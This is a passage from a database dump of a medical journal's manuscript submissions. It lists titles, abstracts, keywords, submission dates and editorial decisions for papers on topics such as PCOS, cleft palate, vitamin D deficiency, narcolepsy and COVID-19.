calculated.\r\nIt was found that 20% of PCOS women were obese and had a BMI above 30 kg/m2. ,37% of PCOS women were overweight and had a BMI between 25.1-29.9 kg/m2.  Global Acne Scoring Method and Ferriman-Galleway method were used to assess occurrence of acne and hirsutism.\r\nApart from the spectrum of clinical presentation, the emerging role of AMH in PCOS was also evaluated. SPSS 25 software was used for statistical analysis for evaluating the effects of risk factors associated with PCOS on Serum AMH levels. Chi-square tests were used for the assessment of co-relation among these factors. P-value <0.05 was considered significant. The risk factors that were significant to AMH levels were Duration of period cycle, Flow in menses, History of DM, thyroid issues and hypertension, Family history of DM, hypertension, thyroid issues, Gynecological history of mother and sisters, and BMI.\r\nConclusion: In conclusion, the present study suggests that PCOS is an emerging health concern among reproductive women and is associated with many consequences like menstrual irregularities, hirsutism, acne, alopecia, and infertility, which were common endocrine disorders. Family history of diabetes and hypothyroidism were important risk factors associated with PCOS. Women who were overweight/obese were at a higher risk of developing PCOS. History of menstrual irregularities and PCOD/PCOS in mother and sisters of women also had a significance in the occurrence of PCOS. AMH levels will provide reliable information in diagnosing PCOS and should be used in future along with Rotterdam or NIH criteria.\r\n \r\n','',3195,NULL,'2022-03-02',NULL,'Submitted',2,NULL,'2022-08-24',NULL,1,1,'0','Accept and include for august issue release.',0,'','',NULL,0,0,0,NULL,0),(12571,12840,45,0,'iphsj-22-12571','FISSURAS LABIOPALATINAS EM CRIANÇAS E ADOLESCENTES – O PAPEL DO ODONTOPEDIATRA',NULL,14,0,'','As fissuras labiopalatinas compreendem malformações congênitas que alteram as estruturas funcionais da face, podendo acometer o lábio e a cavidade oral. Consequentemente, funções importantes, como por exemplo a fonação e audição, podem ser comprometidas, causando um impacto relevante na saúde e convívio social desses indivíduos. O objetivo desse trabalho foi realizar uma revisão de literatura sobre o papel do Odontopediatra na abordagem de pacientes com fissuras labiopalatinas e classificar e caracterizar as fissuras labiopalatinas. Este estudo tratase de uma revisão narrativa da literatura, deste modo as bucas eletrônicas foram realizadas de forma não-sistemática. As bases de dados utilizadas para pesquisa foram Medline (Pubmed), Biblioteca Virtual em Saúde (Scielo, Medline e Lilacs) ou o Google Scholar. Os termos utilizados para as buscas bibliográficas estavam descritos nos Descritores em Ciências da Saúde (DeCS), com seus respectivos termos em ingês descritos no Medical Subject Heading (MeSH), a seguir: Saúde bucal. Fissura labial. Fissura palatina. Oral health. Cleft lip. Cleft palate. Conclui-se que, a atuação do odontopediatra diante de pacientes fissurados se mostrou fundamental, pois ele em conjunto com equipe multiprofissional deverá avaliar e acompanhar o paciente como um todo, não se limitando ao tratamento odontológico. O dentista deve estar atento às mudanças no sistema estomatognático para desenvolver um plano abrangente baseado na reabilitação clínica e geral do paciente, se mostrando necessário para obtenção de um bom prognóstico destes casos.','Saúde bucal. Fissura labial. Fissura palatina.',692,NULL,'2022-03-03',NULL,'Submitted',2,NULL,'2022-05-17',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(12572,12841,45,0,'iphsj-22-12572','EMPATHY IN THE DOCTOR-PATIENT RELATIONSHIP IN MEDICAL STUDENTS AT A UNIVERSITY IN CALI',NULL,14,0,'','ABSTRACT\r\n\r\nBackground: Empathy has been described as a multidimensional concept involving a cognitive and an emotional component. The cognitive domain involves the ability to understand other people\'s experiences and feelings and the affective domain involves the ability to become emotionally attached to their experiences and feelings.\r\n\r\nMethodology: An observational and cross-sectional study was conducted in medical students at a private university in the city of Cali, Colombia.\r\nResults: The levels of empathy remained similar among students in both the first and last years. Also, that empathy values tend to decrease if the student practices less than 150 minutes of exercise per week and increase if the student has some type of scholarship.\r\n\r\nConclusion: Empathy should be considered a fundamental aspect in the training of medical students since it has a positive impact on the doctor-patient relationship, on pharmacological and non-pharmacological therapeutic adherence, and on the results of treatment, being an essential ingredient for obtaining satisfactory results in the health-disease process.\r\n\r\n',' Empathy; Students; University students\r\n',651,NULL,'2022-03-03',NULL,'Submitted',2,NULL,'2022-03-17',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(12573,12842,86,0,'ipaom-22-12573','Clinical Manifestations of Simpson-Golabi-Behmel Syndrome',NULL,2,2,'Rare disease','Simpson–Golabi–Behmel (SGB) syndrome is a rare X-linked condition characterized by pre and post natal overgrowth, facial malformations, visceral, skeletal anomalies and an increased risk of neonatal death and childhood neoplasia. The syndrome is caused by alterations in GPC3 gene with loss of functional GPC3 lead to hyperactivation of hedgehog signalling resulting in clinical features of fetal overgrowth. Prenatal screening and new technologies in molecular testing, such as chromosomal microarray analysis and next-generation sequencing, continually demonstrate advantages for definitive diagnosis in fetal life. However, SGB syndrome is rarely diagnosed in the prenatal setting. Here we reported a case of 12-year-old boy with a mild form type I SGB syndrome diagnosed postnatally in our centre.','Fetal overgrowth, GPC3, Simpson-Golabi-Behmel syndrome, X-linked',3067,NULL,'2022-03-03',NULL,'Submitted',2,NULL,'2022-11-03',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(12577,12846,86,0,'ipaom-22-12577','Blood Substitutes. Current Options, Scope & Future Prospects: A Brief Review. ',NULL,15,2,'','Blood is an important component necessary to sustain the life. Apart from supplying oxygen to all the tissues across the body it also performs some other very important physiological functions. There has always been a need to develop a fluid that imitates the natural blood and can perform the function of it or maybe part of the functions the blood performs. Generally this class of drugs is known as oxygen careers, oxygen therapeutics, artificial blood or blood substitutes. There are many needs for a perfect blood substitute to be developed. The casualties resulting due to blood loss in emergency rooms and operation theatres has always made the scientists worried hence the idea of developing artificial blood surfaced. Mainly, the goal is to formulate a solution that is less toxic and efficiently transports oxygen and carbon dioxide across the membrane. There are many candidates that are proposed, developed and tested for their efficacy to be used as oxygen carriers. Although we are far from coming up with one perfect formula that caters the need but there are multiple candidates showing positive results. As far as oxygen carrying capacity is concerned, it is clear that certain materials do carry oxygen. The major limiting factor in usage of these materials is their safety. The evaluation of risk-benefit profile has been the most challenging task in development of an efficient blood substitute. From organic molecules that have ability to carry oxygen to some isolated polymerised, conjugated and encapsulated Hemoglobin there are many materials tested for the purpose. This brief review analyses all the candidates that are tested, their outcomes, limitations and the scope of improvement. ','Blood Substitutes. Oxygen Carriers. Artificial Blood. Emergency Medicine. Clinical Trials. ',5013,NULL,'2022-03-04',NULL,'Submitted',12,NULL,'2022-03-10',NULL,1,1,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(12579,12848,86,0,'ipaom-22-12579','Factors Influencing Attitude and Uptake of Family Planning Services among Women of Childbearing Age in Egbedore Local Government Area Osun state',NULL,14,2,'','ABSTRACT	\r\nFamily planning services are health services that provide quality, low cost, and easily accessible reproductive health care to women and men during their reproductive years. Though family planning is often limited to the use of contraception, it provides a holistic service aimed at promoting a positive view of sexuality and enables people to make informed choices about their sexual and reproductive health and well-being. It also ensures that resources are available for raising a child in a significant amount, which includes time, finance, and social environment at intervals mutually determined by both partners to have their desired number of children. The study is aimed at determining the attitude and uptake of family planning services among women of childbearing age in Egberedore Local Government Area, Osun State, Nigeria. A cross-sectional study was conducted. A hundred questionnaires were distributed to 100 women of reproductive age and all were retrieved. Data were analyzed using the statistical package for social sciences (SPSS). Descriptive statistics were used to summarize and organized the data. Pearson’s chi-square test was used to test for association between variables and the level of significance was set at 5% (0.05). The awareness and knowledge of family planning services were high (100%) among study participants, and 98% have used these services in the past, while 84% currently utilize them. Husband acceptance (86%), religious acceptance (80%), the effectiveness of family planning methods (78%), availability of facilities/equipment (75%) were found to influence the uptake of family planning services. Pearson chi-square revealed that educational level [X2 (2, N=100) = 5.981, p<0.05), and knowledge of family planning methods [X2 (1, N=100) = 5.667, p<0.05) were statistically significant (positively associated) with family planning uptake and utilization. Family planning use depends on the husband’s acceptance of the family planning method. Therefore, continuous involvement of spouses in family planning education as their approval influences family planning. The outcomes of this research will help health caregivers to provide adequate health education to clients and families in the community to expand their knowledge of family planning services thus ensuring adequate child spacing and reproductive health.','Factors Influencing Attitude and Uptake of Family Planning Services',5342,NULL,'2022-03-04',NULL,'Submitted',2,NULL,'2022-11-03',NULL,1,1,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(12581,12850,45,0,'iphsj-22-12581','VITAMIN D DEFICIENCY AS A RISK FACTOR FOR MORTALITY IN CRITICALLY ILL PATIENTS',NULL,15,0,'','SUMMARY\r\n\r\nBackground: Vitamin D is produced in the skin upon sun exposure. Vitamin D is necessary to maintain serum calcium concentration within the normal physiologic range for musculoskeletal health. Currently one in five Americans dies in the ICU, and virtually every generation today will have an ICU encounter in their lifetime. Survivors of critical illness are at risk for subsequent hospitalization, outpatient evaluation and related health care costs.\r\n \r\nMethodology: A systematic review was carried out through various databases from January 2010 to February 2022; the search and selection of articles was carried out in indexed journals in English. Key words used were: Vitamin D, Mortality, ICU, Critical patient.\r\n\r\nResults: Vitamin D3 is produced in the skin from 7-dehydrocholesterol in a two-step process in which the B-ring is broken down under ultraviolet rays (e.g., sunlight) and the pre-D3 formed in this process is isomerized to D3 in a sensitive but non-catalytic thermo- process. Vitamin D deficiency could lead to major health impacts, including higher severity of illness scores and risk of death, longer ICU stay, longer duration of mechanical ventilation, higher rates of ventilator-associated pneumonia and positive blood cultures, and a higher incidence of organ dysfunction, particularly acute kidney injury.\r\nConclusions: The present review provides current and accurate information on the functions of vitamin D, what its deficiency entails and its impact on health and its role as a risk factor for mortality in critically ill patients.\r\n\r\n','\r\nKey words: Vitamin D, Mortality, ICU, Critical patient, ICU, mortality',5343,NULL,'2022-03-05',NULL,'Submitted',2,NULL,'2022-04-13',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(12582,12851,45,0,'iphsj-22-12582','CHRONIC RENAL INSUFFICIENCY AND ITS RELATION TO THE DEVELOPMENT OF SKELETAL LESIONS',NULL,15,0,'','SUMMARY\r\n\r\nBackground: When there is a glomerular filtration rate lower than ml/min/160.73mt2 it is considered that there is presence of chronic kidney disease, this must persist for 3 months or more regardless of the cause. Depending on the geographical location and the environment where the person is, the cause of this pathology will vary. The prevalence of CKD is around 10% to 14% in the general population. Renal osteodystrophy is a broad term that incorporates all biochemical abnormalities and manifestations.\r\n \r\nskeletal disorders in patients with chronic kidney disease or end-stage renal disease.\r\n\r\nMethodology: A systematic review was conducted through various databases from January to 2002February 2022; the search and selection of articles was carried outin indexed journals in the English language. Key words used were: chronic renal failure, renal osteodystrophy, skeletal lesions, end-stage renal failure.\r\n\r\nResults: Chronic kidney disease leads to a variety of systemic complications that endanger human health. One of the main complications presented by this pathology is renal osteodystrophy, which leads to skeletal and extra skeletal manifestations. Among the histopathological findings of osteodystrophy we can find states of high bone turnover such as osteitis fibrosa and hyperparathyroidism and states of low bone turnover, such as adynamic bone disease or osteomalacia induced by heavy metals. Osteitis fibrosa is considered the predominant histological bone pattern for the development of renal osteodystrophy.\r\n\r\nConclusions: The present review provides updated and detailed information on the important components of renal osteodystrophy, what pathophysiological mechanisms have been proposed between the association between skeletal lesions and chronic kidney disease and the pathways of formation of secondary hyperparathyroidism as a cause of osteodystrophies.\r\n\r\n','\r\nKey words: chronic renal failure, renal osteodystrophy, skeletal lesions, end-stage renal failure.',5344,NULL,'2022-03-05',NULL,'Submitted',2,NULL,'2022-03-21',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(12650,12690,86,0,'ipaom-22-12650','Commentary Note on Crystal Arthropathy',NULL,5,0,'','One of the best-understood inflammatory processes involving joints in humans is crystal-associated arthritis. It primarily affects middle-aged or elderly people and is frequently noticed in conjunction with indications of degenerative joint disease.','inflammatory , degenerative joint disease',4108,NULL,'2022-03-10',NULL,'Submitted',2,NULL,'2022-03-11',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(12651,12922,86,0,'ipaom-22-12651','Brief Note on Vasectomy Techniques',NULL,5,0,'','Vasectomy is performed using a variety of surgical procedures. The goal of this systematic study was to see if any surgical procedures for isolating or occluding the vas are linked to higher occlusive and contraceptive efficacy, as well as fewer problems.','Vasectomy',5013,NULL,'2022-03-10',NULL,'Submitted',2,NULL,'2022-03-11',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(12652,12923,86,0,'ipaom-22-12652','Tea Extract\'s Influence on Pro-Inflammatory Signalling',NULL,5,0,'','Skin toxicity is a typical side effect of solid tumour radiation. Its handling can result in therapy gaps, which can make cancer treatment more difficult.','cancer treatment',4014,NULL,'2022-03-10',NULL,'Submitted',2,NULL,'2022-03-11',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(12653,12924,86,0,'ipaom-22-12653','Drugs Treating Other Disorders Could Have Psychiatric Adverse Effects',NULL,5,0,'','Many medications used to treat nonpsychiatric illnesses can have neuropsychiatric side effects. Sedation, sleep disturbance, anxiety, sadness, mania, psychosis, cognitive disturbance, and delirium are just a few of the side effects that have been described.','neuropsychiatric side effects',3799,NULL,'2022-03-10',NULL,'Submitted',2,NULL,'2022-03-11',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(12654,12925,86,0,'ipaom-22-12654','Treatment and Prevention of Acute Exacerbations of Chronic Obstructive Pulmonary Disease',NULL,5,0,'','An acute exacerbation of chronic obstructive pulmonary disease (COPD) is characterised by a persistent worsening of dyspnea and sputum production in COPD patients. They can be treated in the community with oral steroids and antibiotics','COPD',3411,NULL,'2022-03-10',NULL,'Submitted',2,NULL,'2022-03-25',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(12656,9267,45,0,'iphsj-22-12656','DEVELOPMENT OF NEUROTOXICITY SYNDROME ASSOCIATED WITH THE USE OF CEFEPIME',NULL,15,0,'','Cefepime is a broad-spectrum antibiotic, belonging to the group of fourth-generation cephalosporins commonly used in the hospital setting for the management of multiple infections. Due to mechanisms not well elucidated to date, it is capable of crossing the blood-brain barrier and causing adverse neurological effects when its plasma concentration rises, mainly in those patients in whom its dosage adjusted to creatinine clearance or creatinine clearance is not taken into account. kidney function if it is compromised. Also, cases have been reported in which patients with adequate renal function may present this heterogeneous presentation syndrome. The comprehensive management of the patient with this clinical presentation starts from prevention, correct dosage, timely follow-up and early recognition of the etiology of the neurological condition to obtain the best possible results for the same patient.','Cefepime, seizures, neurotoxicity symptoms, encephalopathy_',689,NULL,'2022-03-11',NULL,'Submitted',2,NULL,'2022-03-25',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(12657,9267,45,0,'iphsj-22-12657','MANAGEMENT OF POST-OPERATIVE PHARYNGEAL PAIN: USE OF KETAMINE AND OTHER AGENTS',NULL,15,0,'','Postoperative pharyngeal pain is considered within the list of ten most frequent complications in anesthesia. Its wide frequency and associated with the intervention of the airway for surgical procedures, specifically under general anesthesia makes the study of this complication mandatory to improve the quality of care and patient satisfaction. Multiple postoperative interventions have been studied to reduce pharyngeal pain, but it seems that the best intervention comes from prevention. Multiple pharmacological and non-pharmacological measures must be taken into account for this complication. Ketamine, as an antagonist of the N-methyl-D-aspartate receptor, due to its antinociceptive, anti-inflammatory and bronchodilator effect, has been one of the drugs of choice for the studies. Others such as corticosteroids and NSAIDs are also part of the group. Knowing about this pathology will help improve patient care and avoid extra costs at the time of care.','postoperative sore throat, ketamine, lidocaine, steroids.',5279,NULL,'2022-03-11',NULL,'Submitted',2,NULL,'2022-03-25',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(12658,9267,45,0,'iphsj-22-12658','ZEBRA LINES SIGN: MARKER OF BIPHOSPHONATES USE',NULL,15,0,'','Bisphosphonates or diphosphonates are a group of medications used for the prevention and treatment of diseases with bone resorption such as osteoporosis, causing positive impacts, among these is the significant decrease in possible fractures in this population in question, however, the use of these chemical compounds in patients, especially with an immature skeleton, has caused peculiar manifestations known as zebra lines, which\r\nappear as linear bands parallel to the hyperdense growth plate, radio opaque, and visible radiologically, reason why which has been considered a marker of the use of bisphosphonates.','Orthopedics, zebra line, bisphosphonate, Pediatrics.',2801,NULL,'2022-03-11',NULL,'Submitted',2,NULL,'2022-03-25',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(12659,9267,45,0,'iphsj-22-12659','IATROGENIC ALOGENOSIS DUE TO THE USE OF BIOPOLYMERS',NULL,15,0,'','At present, with the rise of new technologies aimed at the aesthetics of patients, it has led to the creation and administration of various filler substances in different anatomical places, in this work emphasis will be placed on injectable substances, also known by the name of biopolymers, which are macromolecules of different origins, derived from oil, plant origin and synthetic origin. The adverse effects after its administration are sometimes catastrophic and there is still not enough experience to carry out the adequate and definitive treatment, not to mention that, in the worst cases, they have fatal outcomes such as death, emphasis will be placed on mainly in complications of its use, such as iatrogenic allogenesis and its effects on health.','Iatrogenic allogenesis, biopolymers, complication',457,NULL,'2022-03-11',NULL,'Submitted',2,NULL,'2022-03-25',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(12660,9267,45,0,'iphsj-22-12660','MULTIDISCIPLINARY APPROACH IN THE TREATMENT OF PATIENTS  WITH SPINAL INJURIES',NULL,15,0,'','A traumatic injury to the spine has consequences on the patient\'s neurological status that may be irreversible. Its most frequent causes address different reasons, the main cause being automobile accidents, which lead to the combination of primary and secondary mechanisms that give the development of the pathophysiology of spinal cord injury. Therefore, the approach of a multidisciplinary approach is of vital importance for the treatment of a patient with a spinal cord injury in which pharmacological, surgical and physiotherapeutic aspects are considered relevant, carried out by a group of specialists with the aim of comply with a good management of patients in this condition. Therefore, it is important to recognize the different aspects that make up the treatment in order to present changes at the musculoskeletal level that improve the patient\'s quality of life in the long term.','Multidisciplinary approach, spinal cord injury, treatment, prevention, diagnosis',689,NULL,'2022-03-11',NULL,'Submitted',2,NULL,'2022-03-28',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(12661,9267,45,0,'iphsj-22-12661','GIANOTTI CROSTI SYNDROME AND ITS RELATIONSHIP ',NULL,15,0,'','The Gianotti-Crosti syndrome, also known as papular acrodermatitis of childhood, is a secondary to, especially viral or after immunization of the host immune response against infections frequently little dermatosis. Usually usually appear in the pediatric population because these patients usually are brought to your pediatrician is critical knowledge of the characteristics of this syndrome and the close relationship it has with the acral rash, to the point where authors have proposed to use the term Gianotti-Crosti, regardless of their cause and presentation to describe all eruptive dermatosis location of acral syndrome. However, it is essential recognition of both concepts individually, their differences and similarities to perform a correct diagnosis and appropriate treatment applied as appropriate.','Acropapulosis syndrome, Gianotti Crosti, rash, Pediatrics, Dermatosis',4048,NULL,'2022-03-11',NULL,'Submitted',2,NULL,'2022-03-29',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(12662,12927,251,0,'ipacm-22-12662','GASTEROINTESTINAL TRACT INFECTIONS WITH HUMAN CYTOMEGALOVIRUS AND MYCOBACTERIUM TUBERCOLUSIS',NULL,5,0,'','Gastrointestinal (GI) diseases due to infectious agents Mycobacterium tuberculosis (M. tuberculosis) and Human Cytomegalovirus (HMCV) in immunocompetent patients are usually asymptomatic and are related to rare cases of GI complications. The present study reviews the most prevalent clinical findings and GI tract symptoms of CMV and TB cases for a better prognosis and therapeutic approaches. Epigastric pain or tenderness is the most reported symptom in patients with HCMV infection of the GI tract. Patients may develop a fever in some cases with antrum ulcers (~39 °C). Edema is also reported in young adults and children, mainly depicted on the feet or face. Similarly, epigastric pain is the main symptom observed in patients with gastric TB. Weight loss due to decreased appetite, nausea, and vomiting in TB patients was also reported. The diagnosis of gastric CMV  and TB could be symptomatic. Clinical findings, including positive anti-CMV IgM and endoscopic enlarged gastric folds and high liver enzymes with hypo(proteinemia)albuminemia, can be the indications of gastric CMV in immunocompetent patients. Additionally, a positive PCR of acid-fast bacilli and endoscopy of necrotic epithelial cells can be the signs of gastric TB. Gastric infection can lead to further complications and gastric cancer, which increases the disease\'s burden and cost and lengthens the period of treatment. The clinical findings and symptoms of gastritis caused by CMV and TB are reported in this paper. Understanding gastritis infections might improve the clinical outcome of the condition by allowing better prognosis and earlier therapeutic interventions.','Gastritis; Gastrointestinal tract infection; Human Cytomegalovirus; Mycobacterium tuberculosis; Prognosis',783,NULL,'2022-03-11',NULL,'Submitted',2,NULL,'2022-09-24',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(12663,9267,45,0,'iphsj-22-12663','HIV AND SARSCOV-2 ¿WHY HAVE THE VACCINES WORKED IN ONE AND NOT THE OTHER?',NULL,15,1,'COVID 19','HIV and SarsCoV, although they are viruses, their biology is very different. Mainly, HIV is a virus whose genome can be integrated into its own genome, which facilitates the evasion of the immune system, on the contrary, SarsCov2 does not, its RNA reaches the ribosome directly and is translated [1]. Their ways of evading the immune system are different. On the one hand, HIV recruits an enzyme called FTSJ3, capable of modifying some of the nucleic acids that make up cellular RNA by adding a methyl group to them. This modification allows the detectors to recognize the cellular RNA as their own and prevent its destruction by the immune system [2], and on the other hand, SarsCov2 can evade barriers and access target cells, which recognize molecular patterns associated with the virus, by pattern-recognizing receptors. In this way, they activate the JAK, NF-?B and IRF3 kinase signaling cascade, which induce the expression mechanisms of interferons (IFN) and other proinflammatory cytokines. The way to infect is also totally different, HIV for its part uses a protein known as gp120, this protein binds to the CXCR5 receptor, a receptor for chemokines (essential molecules for cell trafficking), said receptor is expressed on cells such as TCD4+ lymphocytes, when infected destroys them and starts immunodeficiency [3]. For SarsCoV2, the protein responsible for infecting target cells is called S1 or Spike, it binds to receptors such as ACE2, which is present in many cells [4].','HIV; Sars cov 2, Vaccine',4825,NULL,'2022-03-11',NULL,'Submitted',14,NULL,'2022-03-28',NULL,1,1,'0','Should be Completed',0,NULL,NULL,NULL,0,0,0,NULL,0),(12664,9267,45,0,'iphsj-22-12664','MAIN MUSCULOSKELETAL COMPLICATIONS SECONDARY TO DIABETIC NEUROPATHY',NULL,15,0,'','Diabetes mellitus is a chronic metabolic disorder that affects blood glucose levels causing high levels of it (hyperglycemia) associated with a dysfunction in the production and action of insulin that leads to a deficiency of is thus leading to a deficit in metabolism; There are different types of diabetes that are diabetes mellitus type 1, type 2 and gestational diabetes, which are differentiated by different characteristics; This pathology presents different clinical manifestations and multiple chronic complications, which are divided into: a) macrovascular (equivalent to arteriosclerosis), b) microvascular, which include retinopathy, nephropathy and neuropathy, and c) diabetic foot, which manifests itself in consequence of neuropathy or vascular affection of macroangiopathic origin, which can lead to affecting several systems of the organism such as the musculoskeletal system.','Diabetes mellitus, neuropathy, neuromuscular complications, diabetic foot, neuropathic pain, deformities',5345,NULL,'2022-03-12',NULL,'Submitted',2,NULL,'2022-03-30',NULL,1,1,'1','Accept ',0,NULL,NULL,NULL,0,0,0,NULL,0),(12665,9267,45,0,'iphsj-22-12665','STAPHYLOCOCCUS AUREUS INFECTIONS, FREQUENT CLINICAL PRESENTATIONS INPEDIATRICS, SENSITIVITY IN THE LAST 3 YEARS IN MONTERIA, COLOMBIA.',NULL,15,0,'','Introduction. In the last decade, Staphylococcus aureus has been one of the main pathogens that has had a negative impact on human health, mainly in the pediatric population, given its particular virulence characteristics that give it a high capacity to produce a wide range of diseases, of which it is estimated that up to 70% of these are caused by community-acquired methicillin-resistant Staphylococcus aureus (CA-MRSA) without associated risk factors. The following analytical, descriptive and retrospective study evaluates and analyzes the prevalence rates of cause of admission and cases associated with pediatric infections caused by community-acquired resistant Staphylococcus aureus in a clinic in the city of Monteria, Cordoba, Colombia. Objectives. To analyze the behavior of MRSA-ACS infections in the pediatric population in a clinic in the city of Monteria, describe the clinical characteristics, specify the antibiotic treatment regimen, and identify the susceptibility profile of community-acquired methicillin-resistant Staphylococcus aureus isolates.\r\nMaterials and Methods. In the following descriptive, retrospective, analytical study, the records of pediatric patients aged 0-18 years, in a period of time established between February 2018 to February 2021 in a clinic in the city of Monteria were reviewed, demographic and clinical variables were reviewed; and the presence of diagnostic tests to determine the presence of the isolated microorganism.\r\nResults. Infections caused by community-acquired methicillin-resistant Staphylococcus aureus (CA-MRSA) have an estimated prevalence of 37.5% in the pediatric population included in the study, in addition to a resistance to Oxacillin and Cefoxitin of 90%, which shows the great virulence capacity of this pathogen and the importance of the correct application of an adequate therapeutic treatment for it. Likewise, it is directly observed how the epidemiology of community staphylococcal infections has undergone radical changes in the last 10 years.\r\nDiscussion. The data found are similar to those reported in other studies. Skin and soft tissue infection is the most common type of infection caused by Staphylococcus aureus, being the most common manifestation of disease caused by methicillin-resistant strains acquired in the community and skin abscess the main reason for consultation, also showing the increase in resistance to antibiotics used as treatment, always associated with the health environment.','Key words: Methicillin-resistant Staphylococcus aureus (MRSA) skin and soft tissue infections, Oxacillin, Susceptibility, Isolation.',4912,NULL,'2022-03-12',NULL,'Submitted',2,NULL,'2022-03-31',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(12666,12928,73,0,'ipjnn-22-12666','A Review of the Risk Factors, Pathophysiology, Diagnosis and Treatment of Narcolepsy',NULL,15,0,'','Narcolepsy is hypothesized to be an autoimmune disease targeting the hypocretin/orexin producing neurons within the hypothalamus and is categorised into subsets based on the symptoms presented. Epidemiological studies have proposed that there is an additional requirement for an environmental trigger combined with potential genetic predisposition to trigger the onset of this spectrum of disorders. Despite epidemiological evidence which suggests the condition arises due to a breach of immunological tolerance, the absence of a defined autoantigen remains an element of debate in the aetiology of the disorder. Currently there are no definitive diagnostically useful genetic variants observed in narcolepsy suffers which could be exploited at disease onset to support its diagnosis or clinical management.\r\nThe most impactful genetic risk factor is the presence of Human Leukocyte Antigen (HLA) allele, DQB1*06:02, which increases the risk of Narcolepsy over 20-fold. The discovery of the strong association of HLA-DQB1*06:02 and disease onset was the original trigger to shift the focus from its classification as a neurological disease to that of an immune-mediated condition. However, the presence of HLA-DQB1*06:02 alone cannot be the sole genetic risk factor to explain disease onset. Primarily, not all narcolepsy patients express DQB1*06:02 (>95%) and more importantly not all people who express DQB1*06:02 suffer from narcolepsy – only 16% of the global population who express DQB1*06:02 suffer from Narcolepsy. This has resulted in low usage of this definition test in the clinical setting due to its lack of specificity and because it is of most clinical utility if the result is negative, reducing the likelihood of a diagnosis of narcolepsy.\r\nThe diagnosis of narcolepsy is often suspected from the clinical history of the patient, supported by the results of a multiple sleep latency test (MSLT). Combined with the determination of hypocretin/orexin in the cerebral spinal fluid, these two tests are still considered the gold standard tests for diagnosis. However, there are also documented issues surrounding both tests in terms of level of sensitivity, specificity and potential complications which limit their reliability as a diagnostic resource. This review focuses on emerging evidence of genetic and environmental risk factors linked with narcolepsy onset, their link to its pathophysiology and we speculate how genetic traits could be better utilised to effectively aid a diagnosis.','',334,NULL,'2022-03-14',NULL,'Submitted',2,NULL,'2022-04-07',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(12667,9267,45,0,'iphsj-22-12667','GLYCOSYLATED HEMOGLOBIN AS A PREDICTOR OF MORTALITY IN SEVERE PNEUMONIA BY COVID 19.',NULL,15,1,'COVID 19','Glycosylated hemoglobin is one of the tests used in the diagnosis of diabetes mellitus; Knowing their values shows us whether our patients have developed de novo hyperglycemia or, on the contrary, suffer from one that had not been diagnosed; this is considered a risk factor for mortality and morbidity in patients with severe pneumonia due to covid-19 infection. It is important to know and evaluate their levels from the very moment of admission in order to be able to predict how they could be evolving.','Keywords: Glycosylated hemoglobin; Mellitus diabetes; Severe pneumonia; Covid-19 infection.',4825,NULL,'2022-03-15',NULL,'Submitted',14,NULL,'2022-03-28',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(12668,12929,86,0,'ipaom-22-12668','Ring around the artery sign- a rare indicator of Pneumomediastinum in COVID 19',NULL,23,0,'','68 years old gentleman presented with high grade fever and abdominal pain for one week. He had COVID 19 six weeks back with post-COVID lung fibrosis and was on home oxygen therapy. He was hypoxic with SpO2 of 93% on venturi-mask with FIO2 of 0.4 and Blood pressure of 80/ 40 mmHg. Total leucocyte count was elevated to 22 x 109/ L. X-ray chest revealed air lucency around the pulmonary trunk (Ring around the artery Sign- Figure 1). Diagnosis of post-Covid lung fibrosis and pneumomediastinum with superimposed bacterial pneumonitis with sepsis was made. Subsequent computed tomographic scan of chest confirmed pneumomediastinum. He was given oxygen, antibiotics, and supportive care. He improved in 72 hours and could be discharged in hemodynamically stable condition. \r\nSpontaneous pneumomediastinum in absence of mechanical ventilation is a rare complication of COVID-19 pneumonia, likely related to damage and rupture of the alveolar membrane [1, 2]. Ring around the artery sign results from the accumulation of air around the intramediastinal segment of the pulmonary artery on the right side and is reported rarely as the main radiological sign of pneumomediastinum [3]. Our case illustrates the importance of astute observation of the x-ray chest in COVID 19.','COVID-19\r\nSPONTANEOUS PNEUMOMEDIASTINUM\r\nPULMONARY ARTERY\r\nAIR LUCENCY',3386,NULL,'2022-03-15',NULL,'Submitted',2,NULL,'2022-05-03',NULL,1,1,'0',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(12669,12930,45,0,'iphsj-22-12669','CLINICAL EVALUATION OF GESTATIONAL AND CONGENITAL TOXOPLASMOSIS IN TWO HEALTH INSTITUTIONS IN THE CITY OF MONTERIA, COLOMBIA FROM 2015 TO 2021.',NULL,14,0,'','Abstract- Introduction:Toxoplasmosis is a zoonotic disease widely distributed throughout the world, caused by T. gondii, which infects various tissues and organs. Infection during or just before pregnancy can cause congenital toxoplasmosis and cause serious damage, especially at the CNS level. Objective: To evaluate the clinical characteristics of toxoplasmosis in pregnant women and newborns in two health institutions in the city of Montería. Methodology: a retrospective study was carried out in 2 health institutions in the city of Montería, between January 2015 and May 2021, in newborns of a mother with a diagnosis of gestational toxoplasmosis. Results: 76 clinical histories of neonates, children of mothers with gestational toxoplasmosis, diagnosed by IgM were analyzed. 50% of the pregnant women were treated and congenital toxoplasmosis was confirmed in 8 neonates: 5 with positive IgG and IgM, 2 with positive IgG and indeterminate 